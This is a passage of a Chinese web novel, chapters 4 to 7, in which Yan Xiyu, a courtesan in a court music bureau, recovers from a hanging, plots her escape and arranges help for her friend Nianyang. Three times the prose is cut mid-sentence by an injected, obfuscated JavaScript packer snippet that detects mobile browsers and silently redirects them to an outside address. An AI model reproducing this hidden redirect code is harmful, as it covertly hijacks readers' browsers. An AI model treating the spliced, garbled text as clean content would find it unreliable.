燕惜妤躺在床上,视线扫过孙珍娘那张脸,又去看对方紧紧攥着的拳头。 “还在这杵着碍什么眼!”崔掌事指着孙珍娘骂,“还不快滚去配药?卉童要是治不好,你且给我等着!” 孙珍娘一声不吭地带着小徒走了,燕惜妤想问她要消肿止痛的药膏都没来得及开口。 崔掌事骂完孙珍娘,又恨恨地瞪着躺在床上的燕惜妤,伸手指着她骂:“你不想登花楼不想当花娘是吧?你想赎身是吧?我告诉你,我好吃好穿供了你这么多年,你死也要给我死在花楼里!” 崔掌事喘着粗气黑着脸也走了。 燕惜妤的耳朵总算是清净了。 吉荷和春苗一直躲外面看着,直到这时才敢走进来。 “呸,个死太监!”吉荷对着门外低骂了一声,然后走到床边看着燕惜妤,“卉童你没事了吧?” “没事,”燕惜妤摇头,撑着床坐了起来,“念鸯……” 她刚说出念鸯的名字,春苗立即就来劲了。 “念鸯姐姐没事!是吉荷姐姐听到卉童姐姐你喊她,然后她出来一看,发现念鸯姐姐在房梁上挂着,就这么嘭一下撞门,两三下就把门闩给撞断了!” 春苗双眼发亮地看着吉荷:“我要是有吉荷姐姐能撞断门闩的这身本事,我就去当那行侠仗义的女侠,一刀砍了那崔的脑袋!” 吉荷捂嘴笑:“你要是真砍了姓崔的脑袋,那你这行侠仗义的女侠可就要变成滥杀无辜的女魔头了。” 春苗一下子就傻眼了:“我怎么就成滥杀无辜的女魔头了?难道姓崔的他不该杀吗?卉童姐姐和念鸯姐姐都被他逼着上吊了,他还说要卖念鸯姐姐的尸身去配阴婚!” 吉荷提醒她:“他手里有卉童和念鸯的卖身契,你如果要杀人,首先要杀的,该是那允许大承朝买卖奴仆的大承官员,然后再杀卖儿卖女的那些人渣。” “这样啊?”春苗苦着脸想了想,忽然想到了另一个问题,“念鸯姐姐是被她家人卖了,可卉童姐姐是姓崔的在外面带回来的,指不定是他拐来的呢!他是拐子就该杀!” 吉荷又提醒她:“被拐来的人,都要经人牙子的手才能有卖身契,否则会被认为是偷的小孩,所以你不单要砍拐子,还要砍人牙子,甚至连买奴仆的人也一起砍了。” “那我把他们一起都给砍了!”春苗正气凛然地说。 “然后衙门就要来捉你去砍头,”吉荷幽幽地说。 “为什么要砍我的头?”春苗捂着脖子跳脚,“我又没做错!” “朝廷允许官员买卖奴仆,你杀了买奴仆的官员,可不就要砍你的头。” “那……那我不砍他,我揍他一顿,然后问他要回卖身契,”春苗眼珠子一转,又想到了法子。 “傻春苗,你知道哪里的奴仆最多?”吉荷叹气道,“皇城里的奴仆最多,那些个贵人身边都是奴仆成群,如果被卖的奴仆都敢像你说的这样做,你觉得大承朝的贵人们会让这样的事情发生?这法子行不通,你再想想别的法子吧。” “那我再想想,”春苗说,“卉童姐姐你不要急,我再想想,一定会想出有用的法子。” 燕惜妤对着春苗点头:“好。” 春苗看着她没血色的嘴唇,忡忡地说:“卉童姐姐,你别死啊,要不你……逃走吧。” 逃走两个字她说得很小声。 燕惜妤还是点头:“好。” 吉荷却在一旁叹气:“傻春苗,她和念鸯要是能逃,又怎么会上吊。” “为什么不能逃?”春苗瞪着眼问,“我们不逃,是因为我们整个家族都是奴籍,逃一人牵连所有的亲人,可卉童姐姐只是卖了自身,她又不像念鸯姐姐有家人在,她要逃了也不会牵连到别人。” “她逃了之后呢?”吉荷反问她,“先别说崔掌事会不会追究让衙门通缉她,就说她身上没户籍没路引,她到了别的州县没人敢雇她作活,因为她来历不明,那她身无分文该怎么活?难道为了活下去,又把自己给卖了?那还逃什么呢。” “我把我攒的银子全给卉童姐姐,”春苗立即说。 燕惜妤和吉荷都乐了。 “你那点银子能够她活多久?”吉荷摇头说,“她一没房二没田,难道要住在大山里?你可知道大山里藏着多少猛兽毒物? “再说她一个弱女子独自在外面,万一被歹徒盯上了又该怎么办?她自己是从教坊司逃出去的,她在外面遇到危险连报官都不敢。 “最好的结果就是能找到夫家给她庇佑,若是嫁到良善的人家,与夫君和睦一生倒也罢了,可若是嫁与那积恶的人家,还是会被夫家给卖出去。” 听了她这话,热心肠的春苗一下子就蔫巴了:“那……卉童姐姐和念鸯姐姐如果不想登花楼,是只能选择死吗?” 燕惜妤伸手捏了捏她圆溜溜的发髻:“不死。” 春苗看着她,咧嘴想笑,却笑得比哭还难看。 吉荷带着扁嘴要哭的春苗离开了。 燕惜妤坐在床上按了一下腹部,还是能感觉到痛,不过不影响走路。 她慢吞吞地走向念鸯住的屋。 被捅了两个洞的窗户纸还在,不过她吐在门前的血被冲洗干净了,这时地上还湿着。 走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282611|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进去,一眼就能看见念鸯躺在床上,不过头侧向床里边,看不到脸,但能看见她脖子上的勒痕。 燕惜妤搬了张圆墩凳到床边,坐下后沉默了一会。 念鸯一直躺着,同个姿势一动不动,像是睡着了,但燕惜妤知道她醒着。 “念鸯……”燕惜妤慢悠悠地开口,“我在……铁铺看见你。” 一直没动静的念鸯终于将头转了过来,她双眼赤红,脸色却灰白。 “是不是……铁匠欺负你……”燕惜妤继续说,“你遇到什么事?” 念鸯赤红的眼睛无声地流着泪。 燕惜妤总感觉念鸯心里藏着很多事,整个人显得很压抑。 她想多问几句,但她嗓子太痛了。有时她都在怀疑是不是之前上吊的时候把喉管扯断了,否则为什么能这么痛呢。 “你想说说……你的事吗?”燕惜妤问念鸯。 念鸯没说话,她就一直躺着,睁着眼睛望向房梁。 燕惜妤也抬头看了一眼。 就像方才吉荷对春苗说的那样,卉童和念鸯在无望无助的情况下,选择了死亡。 就在这时,念鸯忽然说话了。 “我有一年实在是想家了,就偷偷跑回家去,想看看爹娘,但他们搬走了,据说是搬到南县去了,我在回坊里的时候,被几个混子围住,好在李大哥经过救了我。” 燕惜妤安静地听着,所以这件事是从英雄救美开始的。 “后来李大哥说想娶我,他来找崔掌事说给我赎身,崔掌事说要三百两银子,可崔掌事当初买下我的时候,才只花了十两银子。” 燕惜妤想到了之前看到的通缉令,衙门捉一个凶犯给的赏金也才三百两,崔掌事这是狮子大开口啊。 “李大哥当时还只是铁铺的学徒,自己没多少银子,可他家人听说他想成亲,就到处去借,总算是攒到了三百两,他捧着借来的银子欢喜地要来给我赎身,可是崔掌事又说要六百两银子。” 燕惜妤在心里叹气。 崔掌事那样的人,买来的人死了都要拿尸身去配阴婚换银钱的,又怎么会这么轻易就放人走。 “我叫李大哥别赎我了,可他不听,他白日守着铁铺锤一整天的铁,夜里又去木材铺搬木头,冬日里他身上常被汗浸湿了衣裳,李大哥就这样撑了一年又一年,把能借钱的人家借了又借,前些日子好不容易攒够了六百两,他……捧着银子说能娶我回家了……” 念鸯几次哽咽着说不出话:“可崔掌事又说、说要九百两……” 她张着嘴吐出了一口气,哭着扯出了一个笑:“我对李大哥说别赎我了,就这样吧,别赎我了。” 燕惜妤觉得李铁匠大概还是想赎念鸯回家的,否则念鸯不会上吊,她上吊不是因为她自己,她是想让李铁匠活着。 果然又听念鸯哽咽着说:“昨日我去见李大哥,把他送我的簪子还回去,李大哥对我说,他要去给商队当护卫。” 念鸯说着说着哭出了声:“那些商队都是去边地同那些个夷狄蛮人做买卖的,夷狄蛮人个个杀人不眨眼,李大哥没习过武,不像别的护卫都曾当过衙差,他们手里的刀都见过血杀过人,可李大哥他就只有一条命!” 念鸯双手捂着脸,泪水顺着眼角滑过耳垂,滴湿了竹枕。 燕惜妤看看门外,然后压低声音说:“我帮你。” 5. 第5章 念鸯捂着脸的双手猛地一震,过了好一会儿,她才慢慢地在床上坐了起来,然后看着燕惜妤没说话。 燕惜妤回视她,也没说话。 念鸯也不知道在想些什么,良久才释然地叹息:“就算你能借我三百两银子,崔掌事也不会让李大哥带走我的,他要的根本不是这一千几百两的银子,他要的是每天都能有一千几百两银子。” 燕惜妤认同地点头。 念鸯脸上还有泪痕,却无奈地露出一丝笑:“先前要赎你的那位曾公子出了三千两,崔掌事宁愿把媎莲推出去,也不放你走。媎莲是被卖到坊里的,赎身银也是坊里的大人拿着,崔掌事一个铜板都没得,但他宁愿一文不要,也不放你走。” “他贪婪,”燕惜妤说。 “所以你帮不了我,”念鸯说着说着又落下泪来,“谁都帮不了我。” “我有办法,”燕惜妤轻轻地说,“能帮你。” 念鸯眼中露出光芒,但还是摇头:“卉童,你如果真有法子能让崔掌事放人,你就自己走吧。” 燕惜妤脸上露出逗人的笑:“外面有李铁匠……在等你,没人等我。” 念鸯一愣,脸上终于露出了渴盼,她双手紧紧攥在一起,声音很轻地问:“卉童,你真的能帮我?” “能,”燕惜妤肯定地点点头,“我尽量让崔掌事……在六百两内……放你走,一文不给……有点难。” “可以吗?真的可以吗?”念鸯紧张地追问,“真的可以六百两银子就放我走吗?”她已经死过一次了,她还能怎么样,她毫无办法啊!没人能帮她,这次无论是真还是假,是她最后的机会了。 “我试试,”燕惜妤顺势劝她,“你别再寻死,有人在等你。” “好,好,”念鸯不住地点头,她伸手抓着燕惜妤的手腕,有些语无伦次地说,“卉童,我要做些什么?你、你要银子吗?” “不要银子,”燕惜妤摇头,“等你出去……你不再是奴籍,就帮我叫铁匠……打两样利器。” 念鸯一怔,然后一迭声地说:“卉童,你要那些做什么?你千万别做傻事!” 刚上吊被救下来的人,却劝别人不要做傻事。 燕惜妤笑笑:“我自保。” “那就好,那就好,”念鸯这才松口气,又问,“那我……” 燕惜妤打断她:“你和以前一样,不要让人……发现,我说的话要保密。” “这个我晓得,我晓得的,”念鸯连连点头。 “也别让……吉荷她们知道,”燕惜妤忍着嗓子的疼说,“她们……都走不了,你安静地……跟铁匠离开这里。” 念鸯才激动的心情又冷了下来,她喃喃道:“我晓得,我不会说出去。” 燕惜妤怕她又会哭,连忙指着自己的脖子说:“孙女医……有没有……给你药膏?” “给了,”念鸯这才留意到对方颈上的勒痕,这一看吓一跳,“怎的变紫黑色了?孙女医没给你留药膏?” “没,”燕惜妤摇头,“痛了几天。” “哎,她怎的不给你留药膏!”念鸯连忙从枕边取来一个小木盒,从里面取出一个小油纸包,“这是她给我留的,说是让我涂脖子,你拿去用。” 燕惜妤按下她伸过来的手:“你留着,我会再来。” 念鸯听出了她话中的意思,忍不住赞叹道:“对,你来我这里涂药。”这样别人就不会怀疑她们俩,也就不会让人知道卉童是在帮她。 她看看门外,然后掀开了油纸包着的药膏:“那我帮你涂?” “好,”燕惜妤仰着脸,露出了紫黑色的勒痕。 “呀!”念鸯瞬间倒吸一口凉气,“这样严重,该多痛啊。真是的,孙女医也不给你拿膏药。” “孙女医……是女僧?”燕惜妤闲聊似的开口。 “是啊,你不也知道,”可能是因为眼前之人愿意帮她,虽然未知结果是好是坏,但念鸯在这一刻像是找到了倚靠,压抑了许久的她总算是能喘口气,也乐意和人唠嗑了,“孙女医是被人丢在庵堂门口的,庵堂里有个曾在皇城当过女医的女僧养大了她,还教会了她岐黄。” “她一直住在……庵堂?”燕惜妤仰着头继续问,“她是女僧,还能……成亲生养吗?” “那断然是不行的,女僧男僧都不准成亲的,那些个带发居士倒是可以。”念鸯肯定地说,“她一直住在庵堂,身边带着的小徒也是被扔在庵堂的。” “这样啊……”燕惜妤仰着头说,“药膏好凉。” “哎,都肿成这样了,孙女医也不早早给你药膏,”念鸯有些抱怨地说。 燕惜妤笑笑。 脖子涂了药膏,像是有点用,最起码喝水时不那么痛了。 燕惜妤带着钱袋,蒙着面纱,头戴帷帽,又溜达着出了教坊司。 路过茶楼的时候,发现茶楼有说书先生在说书,还站着听了两耳朵。 一路顺着街道走,在转角的地方看见了替人写信的代笔书生。 书生正在替人写信,写完之后,收好钱,待人走了则低头看书,燕惜妤走过来,站在摊前挡住了光线。 “公子,”燕惜妤发出的嗓音沙哑难听,“写信。” 那书生连忙站了起来:“请问客人是要写家书吗?” “是,”燕惜妤拿出旧钱袋,“多少钱?” 书生说:“回客人,一纸信笺十五文。” “我这信难写,不单要密封,”燕惜妤说,“还要让人……以为是多年前……早已经写好的,你能写吗?” 那书生一怔,想了好一会才说:“可以,但需多尝试几次,会浪费信笺。” “多少钱?”燕惜妤又伸出了拿着旧钱袋的手。 书生低头说:“回客人,五十文。” 燕惜妤低头从旧钱袋里数了二十五个铜钱放在摊桌上:“先给一半,要多久?” 书生连忙说:“回客人,需三五日。” “好,”燕惜妤点点头。 书生收了铜钱,摊开一张纸,然后举着笔说:“请问客人要写的内容是?我先记下,待回去再抄正。” 燕惜妤只说了两个字。 书生举着笔的手顿住了,只两个字,他根本就不需要记。 “有劳公子,”燕惜妤说,“五日后我再来。” 燕惜妤手里握着个旧钱袋在街边走。 看见有卖包子的,她停下脚步看,素包子一文钱一个,肉包子两文钱一个。 闻饱了包子的香味,才继续向前走,发现街角有间当铺。 她站在街对面看,留意到有妇人过来当衣裳。 看了一会儿,又继续向前走。 街道两边的小贩卖着各种各样的物品,大多都是老百姓日常需要的东西。 燕惜妤还看见一对年老的夫妇在卖草鞋,女人在纳鞋底,男人在编草鞋。 靠一双脚走远路,鞋子很重要。 燕惜妤走了过去。 她脚上穿着一双绸缎面料的锦鞋,鞋面上还用丝线绣着缠枝花纹,这样一双锦鞋铺子里是不卖的,唯有请绣房的人缝制才会有。 卖草鞋的夫妇先是看见燕惜妤的鞋,然后才抬起头来,那老汉搓着手问:“这位贵人是?”可能是觉得燕惜妤不会来买他家的草鞋,愣是不敢问买不买草鞋。 燕惜妤指了指那妇人手里的鞋底:“大娘大伯,这鞋底……还能再做厚点吗?” “哎,能能,能的能的,”那老汉连忙说,“贵人要多厚的鞋底?我婆娘纳出来的鞋底那可是穿着最跟脚的。” “两个这么厚,”燕惜妤说,“能用布……做一双耐穿的鞋吗?” “啊这个……”那老汉挠头说,“贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282612|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,你穿的那锦缎鞋子它又好看又轻,可它不耐穿啊,我这手一碰就给勾丝了。” 他这话确实没说错。 教坊司里的女子虽然是奴籍,但她们面对的都是王公贵人,其中还包括皇上,所以她们的衣着首饰那都是比对着富人家的女儿来给的。 可那些昂贵的绫罗绸缎不经碰啊,手粗的绣娘都不敢去碰。 燕惜妤知道对方是误会了:“大伯,我要最耐磨……的粗布。” “要粗布,那肯定有的,”老汉搓着手问,“贵人是要做给谁穿?不知穿多大?” “我穿,”燕惜妤还多说了两句,“穿来爬山。” “爬山你那鞋子确实不行,踩个小石子都能痛半天,是得穿厚底鞋子才行,”老汉说。 “大伯能做?”燕惜妤问。 “能!”老汉重重地点头。 “我要一双,多少钱?”燕惜妤又问。 老汉忽然就不吭声了,最后一咬牙说:“二十文。” “嗬!”他这话一出口,旁边忽然传来一阵吸气声。 燕惜妤侧头一看,旁边不知道什么时候竟然围了一圈看热闹的人。 见被她发现,还个个都看天看地假装很忙碌地在看空气。 “贵人,这个……”老汉可能是觉得自己说贵了,一时有些后悔。 “确定耐穿?”燕惜妤问他。 “那肯定的!”老汉连忙保证,“我两个儿子冬日穿着在镇上扛货,穿几年都不会破!” “我要一双,”燕惜妤又指了指地上摆着的草鞋,“这个我也要……另做一双,要编的很紧密,蛇咬不到肉……才行。” 那老汉显然没想到自己说二十文一双粗布鞋也有人买,他原以为会还价的。 这时见对方还要草鞋,连忙说:“行行行!我保准给贵人编一双毒蛇喂不到肉,荆棘扎不穿的草鞋!” “好,”燕惜妤又拿出了旧钱袋,“一共多少?” “二十文,”老汉搓着手说,“两双一共二十文。”他家草鞋一双才两文,鞋底一双才五文。刚才喊出二十文,直到现在他的心都还在怦怦直跳。 “先给十文,”燕惜妤数了十个铜板递了过去,“多久能做好?” “贵人五日后来取,我还在这地儿,”老汉有些激动地伸出双手接过十文钱,“贵人请这边来,我叫我婆娘给贵人画一下鞋底的尺寸。” 留了鞋子的尺寸,燕惜妤捏着瘪下去的旧钱袋往回走。 路过某小巷口的时候,看见了孙珍娘收的那小徒。 小徒手里提着一个小竹篮,刚从外面买药回来。 孙珍娘虽然是女医,但自家并没有药堂,想制药丸都需要去外面买草药。 小徒看了眼主屋,见门关着,于是她用力地瞪了一眼,然后才去灶房。 熟练地地买来的药材放在药锅里,然后守在小炉前细心地看着火。 药煮好了之后,她小心翼翼地用厚布套着药碗隔热,然后端着碗走向了厢房。 这厢房所有的窗都关着,屋里很暗,也很安静。 小徒小心地把药碗放在桌上,然后点亮了桌上的油灯。 油灯豆大的火苗,照亮了桌边的位置,也照亮了垂着帐子的床。 小徒将帐子挂好,然后搬来圆凳,最后她端着药碗坐在床边。 “师父,喝药了,”小徒双手捧着碗,要哭不哭地看着床上躺着的人。 那是个头戴僧帽的女人,面色惨白,人很消瘦,不过一眼能看出这个女人就是孙珍娘。 她的小徒喊她喝药,而她仍然毫无反应地躺着。 小徒早就知道她的师父不会醒来,可她仍然来她床边告状。 “师父,您快醒来吧!您那双生的妹妹冒充您的名字,在外面害人啊,她把天毒草制成的药丸给教坊的女乐吃了。” 6. 第6章 孙珍娘再过来教坊司的时候,又给燕惜妤带来了一颗药丸。 “孙女医,你已经欠了卉童一条命,”燕惜妤的脖子涂着一层厚厚的消肿药膏,讲话的时候总算是不那么疼了,“人只有一条命。” 燕惜妤看着孙珍娘递过来的药丸,没伸手去接。 “我说过,你没有选择,”孙珍娘冷着脸说,“是崔掌事让我给你治病。” “但愿你一直都能这么听崔掌事的话,”燕惜妤伸手接过孙珍娘手里的药丸,她叹了口气道,“孙女医,你吃过毒药吗?” 孙珍娘冷着脸看过来:“我不知道你在说什么。” “如果没吃过,或许你可以试试这颗毒药,”燕惜妤将手里的药丸又重新递了回去,“孙女医,你手里有解药吧?” 孙珍娘一把抢过她手里的药丸,站起来离开了桌边,然后冷冷地说:“酉徒,你站在那做甚?你也过来给女乐把脉,她这样的脉息世间少有。” “啊,哦,好,”小徒一直安静地站在窗边,忽然被喊了名字,紧张的手脚都有点儿发抖。 “请女乐把手放上来,”小徒坐在孙珍娘之前坐过的圆凳上,对燕惜妤伸出了手。 她平日看着只是个呆呆又腼腆的小徒,可此刻给人诊脉的时候,脸上的表情忽然就变得谨慎起来。 她先是右手诊脉,又左手诊脉,之后,又叫燕惜妤把另一只手也放了上来。 孙珍娘在一旁很烦躁地等着,但她却没有出声催促,一直等到小徒收回诊脉的手,她才不耐烦地开口:“可是诊明白了?” “是,”小徒站起来说。 “那便走罢,”孙珍娘转身走了出去。 小徒又成了那副呆呆又腼腆的模样,她抱起桌上的药匣连忙追了上去,边跑还边快速回头扫了一眼窗边。 等她们走远,燕惜妤这才慢吞吞地走到窗边。 面盆木架就立在窗边,木盆里没水,但木盆里却有一个小瓷瓶。 燕惜妤看着那个小瓷瓶,刚想伸手拿起来,门外忽然传来春苗的声音。 “卉童姐姐,该去膳堂了。” 燕惜妤又把手缩了回来,走出屋门时,顺手掩上了门。 吉荷她们正在院子里等着,燕惜妤经过念鸯的屋前,看见念鸯也走了出来。 她还是和以前一样,显得心事重重。 这两天脖子好多了,燕惜妤总算是可以多吃一点肉了。 虽然今天没有烙羊肉,但今天有炖鸡肉,也很好吃。 春苗是个话多的小姑娘,一路吱吱喳喳着过去,又一路吱吱喳喳着回来。 念鸯是最先回屋的,她回屋后把门一关,大家都对此见怪不怪了。 燕惜妤陪着吉荷几人站在鱼池边闲聊,她刚张嘴想说话,忽然觉得嗓子一痒,下意识伸手捂住了嘴巴。 “咳!”一口鲜血被她咳了出来,血液顺着指缝往下滴。 吉荷她们几个乍一看见,吓得张嘴就想尖叫。 “嘘,”燕惜妤抬手做了个噤声的手势,“不要让崔掌事知道。” 春苗连忙捂住了自己的嘴巴。 “你这怪病怎么回事?”吉荷压低声音急躁地说,“孙女医不是来过?她是怎么说的?” “她给我药了,”燕惜妤用另一只干净的手擦了擦嘴巴,“不过我没吃。” “你……”芳娘刚想问为什么,忽然就顿住了,她和吉荷对视了一眼,然后恍悟地说,“你是不是想就这样拖着不登花楼?” 燕惜妤笑笑,没说是,也没说不是。 吉荷用不认同的眼神看着她。 婧珠这时已经不声不响地端来了一木盆水,她将水泼在染了血的地上,刚滴上去的血被水一冲,转眼就消失了。 其他人看着她,又去看燕惜妤,吉荷只能虎着脸低声骂:“你这样又能拖多久?” “我心里有数,”燕惜妤摊开全是血的手掌,“我回屋洗洗。” 洗了手,又洗了脸,燕惜妤从小徒偷偷留给她的小瓷瓶里倒出了一颗小药丸。 这颗药丸还挺好吃的,味道甘甜,不像之前吃的那颗毒药,又苦又辣。 这时房门忽然被推开了一道门缝。 燕惜妤走过去开门一看,发现念鸯站在外面。 念鸯像是做贼似的先是左右看了看,然后很小声地说:“我方才在窗前看见你咳血了,你没事吧?” “我没事,”燕惜妤嘴里还嚼着药丸,“我在吃着药。” “那就好,”念鸯松了口气,然后继续小声说,“那你歇息吧。”说完,她踮着脚悄没声地走了。 燕惜妤在门前看的直乐。 靠着门框站了一会,燕惜妤把门关上了。 她转身去整理角落那两个放衣裳的木箱。 她要从教坊司逃走,肯定是不能背着大包裹出门的,所以屋里留着的这些物品,大多数都带不走。 既然不能带走,那就拿去当了换钱。 除了贴身穿的小衣和寝衣,还有最厚的那两套短袄和一件薄斗篷,其余的,包括各种首饰都拿去换钱。 不过这些东西没办法一次全拿出去,只能分次少量地一点点带出教坊司。 转眼过了五日,燕惜妤蒙着面纱,头戴过腰的帷帽,然后将抱着装有全部首饰的小包裹的双手缩在胸前,一路溜达着出了教坊司的大门。 一路上没有停留,第一时间先去了当铺。 “客人是想当些什么物件?”在柜台前招呼人的是位年轻的伙计。 “我当些首饰,都是皇城的银楼给送来的,”燕惜妤说,“你看看能当多少银子。” 和吉荷她们一起吃饭的时候,春苗总喜欢聊首饰和衣裳,曾说过教坊司发给女乐们的首饰和衣裳都是宫里统一置给的,毕竟教坊司里的女乐和舞伎负责朝廷对外的各种歌舞宴乐,也算是所谓“门面”了。 只不过各掌事太监总会悄悄留下些首饰,衣裳也不会全给发下来,平日看谁听话就多给一件。 “请取出来让小的先看看,”那伙计说。 燕惜妤把抱了一路的小包裹放在柜面上,然后解开了包裹。 当铺伙计仔细看过每一件首饰,确认了都有皇城银楼的标记,这才让燕惜妤先等等,然后他走进内堂把当铺老掌柜叫了出来。 “劳客人等了这许久,望客人见谅,”老掌柜一见来就是先道歉。 “请掌柜的帮忙看看,我这些能当多少钱?”燕惜妤问他。 “烦请客人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282613|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再等等,容我先验证银楼标记的真伪,”老掌柜说。 “好,”燕惜妤也不怕他骗人,因为她手上的首饰都是真的。 老掌柜验过首饰的真伪之后,脸上立即就露出了真挚的笑容:“不知客人是想如何个当法?” “那种当法钱最多?”燕惜妤问。 等燕惜妤再从当铺出来的时候,小包裹里的首饰已经变成了一小包碎银子。 原本老掌柜是要给成锭的银子,但燕惜妤没要,让老掌柜换成了碎银子,她出远门会有段时间一直在路上,拿着散钱是最好的。 刚走出当铺几步,远远地就听见了快速奔跑的马蹄声,还有人的吆喝声。 路人连忙避向两旁,燕惜妤也跟着他们缩在墙边。 很快就有三匹马从街道上跑了过去。 马匹一远离,路人立即就嘀咕了起来。 燕惜妤悄悄地凑了过去。 “这两日总是看见衙差往城门口赶去,难道是有敌寇来偷袭?!” “不是敌寇,是城门外的灾民越来越多。” “哪里来的灾民?” “舁州还有曲州,这两地都有。” “舁州水灾是有听说,就在咱仓州隔壁,可曲州又是闹什么灾?” “先是旱灾,紧接着就是蝗灾,别说谷子,连草根都被啃光了!” “哎!可曲州不是在淮扬隔壁吗?怎的也跑来了咱仓州?这山长水远的。” “他们该是想去封州,但封州的官老爷把他们都撵走了。” “封州可是皇城,天子脚下,怪不得留不得他们,估计是怕有敌寇混在灾民之中,怕出乱子。” “啊?灾民里头会有寇贼?” “多的是嘞!洪水来袭只顾着逃命,别说户籍和路引,就连银子都没来得及拿,能逃出来都算是命大!” “就是,没户籍和路引的人,谁能分出是灾民还是贼人。” “那都来咱仓州?咱仓州能安置的了那么多人吗?” “不会留在仓州的,我听说是让他们都去边地,去屯垦戍边。” “我就知道肯定是让他们去屯田戍边。” “会去那处边地?” “这就要看知州大人的决策了,估摸着也是选近的,灾民里有一半妇人孩童,走不远。” 燕惜妤站在旁边听了好一会儿才离开。 顺着街道走,很快就看见了替人代写书信的书生。 这次书生没在看书,而是坐在小摊子前,偶尔会转头看一眼路人。 燕惜妤刚走近,他就站了起来:“客人可是要写家书?” 显然街上戴着帷帽的女子都差不多,他认不出谁是谁。 燕惜妤说:“公子,五日之期,我来拿信。” “原来是这位女客人,怪小生眼拙,望客人见谅,”书生连忙道歉,然后拿出了很旧的信函,“请客人看看,这样可行?” 那信函一看就是很久之前写的,连泥封都给人一种褪色的感觉。 “可以,”燕惜妤伸手接过来,然后数了二十五文钱放在小摊上,接着像是无意地问,“我在街边听见有人议论屯垦戍边,还听说边地有远有近,不知公子可知道这远和近的边地都在何处?” 7. 第7章 和安静等候的书生不同,卖草鞋的老汉一直在摊子前来回地踱步。 坐在一旁的妇人怀里放着一个旧布小包裹,仍然在低头纳鞋底。 燕惜妤才刚出现,老汉一眼就认了出来。 “贵人!贵人!”老汉差点原地蹦起来。 “大伯,”燕惜妤走过去,“我的两双鞋子都好了?” “好了好了!都好了!”老汉从妇人手中接过那个小布包,解开后很殷勤地双手捧着递了过来,“贵人请看。” 款式很简单的一双黑色粗布浅口鞋,鞋底很厚,针脚细密。另外那双草鞋编的和浅口鞋同款,鞋底很密实,不像摊子上卖的那些,只用简单的几根草绳当作鞋面。 “大伯大娘好手艺,”燕惜妤赞了一句,拿过鞋子,然后数了十个铜板递了过去,“这是剩下的十文钱,两双鞋我就带走了。” “哎好好!”老汉双手接过钱,满是皱纹的脸笑的皱成了一团,“贵人要是穿着跟脚,下回再来寻小老儿这摊子。” “好,”燕惜妤应了一声。 回去的路上,燕惜妤经过路边卖茶水的小摊子。 摆摊子的是一个老婆婆,她面前只有一个盖着盖帘子的小木桶。 有个妇人拿着自己的碗在买茶水,妇人说要两勺,打算好好歇一天。 燕惜妤听见那老婆婆说:“两勺足够你睡上一整天的了,睡久了你家人该以为你病了。” 燕惜妤顿时就停下了脚步,等那妇人端着碗离开后,她走了过去。 “婆婆卖的这是什么茶水?” “安神茶,”老婆婆说,“用苦令草的草籽熬出来药茶,这草长在山溪滴水的石缝里,我家老头子走一趟去摘草籽要好几个时辰。” 燕惜妤说:“我没带碗。” “我这有竹筒,一个竹筒一文钱,”老婆婆说,“安神茶两文钱一勺。” 燕惜妤问:“婆婆,你这茶一喝就会睡?” “一喝就睡,”老婆婆点头,“因为苦令草长在溪水里,是寒凉之物,喝了整个身子都是凉的,待醒来就都好了。” “那给我两勺,”燕惜妤说着,然后拿出了旧钱袋。 老婆婆收了燕惜妤五文钱,然后递给燕惜妤一个装有安神茶的大竹筒杯。 燕惜妤一手竹筒杯,一手鞋子,两只手缩在帷帽里,跟在其他戴着帷帽的女子身后走进教坊司的时候,没人看她一眼。 走进小院时,留意到念鸯的房门是关着的,燕惜妤于是先把手里的茶水端进了自己的屋里。 才刚放好鞋子,念鸯就已经走到了她的屋门前。 可能是等待的日子过于煎熬,念鸯这两天整个人又开始变得压抑起来。 燕惜妤看见她,把桌上的竹筒杯端在手里:“念鸯,去你屋里涂药,涂了这些天药,我说话都利索了。” 念鸯点点头,刚开始没留意到她手里还端着个竹筒杯,等进了屋才看见。 “卉童,你还端着水过来,我这有,”念鸯说这话时,脸上露出了一丝笑意。 燕惜妤对她眨了眨眼睛,又伸手指了指房门。 念鸯怔了一下,这才有些慌神地去关门。 “卉童……”她转过身的时候,整个人已经紧张的有些张皇无措,“是不是那件事……” “你过来坐,”燕惜妤指了指自己身边的圆墩凳,“不要急,事情我已经为你想好了,你照我说的去做,你就能安全地离开教坊司。” “好好,”念鸯扶着桌边坐了下来。 燕惜妤这才取出了那特意做旧的信函,她把信函放在桌上:“这东西你在没人的时候交给孙女医,对她说是从崔掌事那里得来的。” “好好,”念鸯不知道听见去多少,也没有问该怎么说,只会一个劲地点头。 “这杯是安神茶,”燕惜妤又指了指桌上的竹筒杯,“到时候你全喝了,睡一觉起来就能离开这教坊司了。” 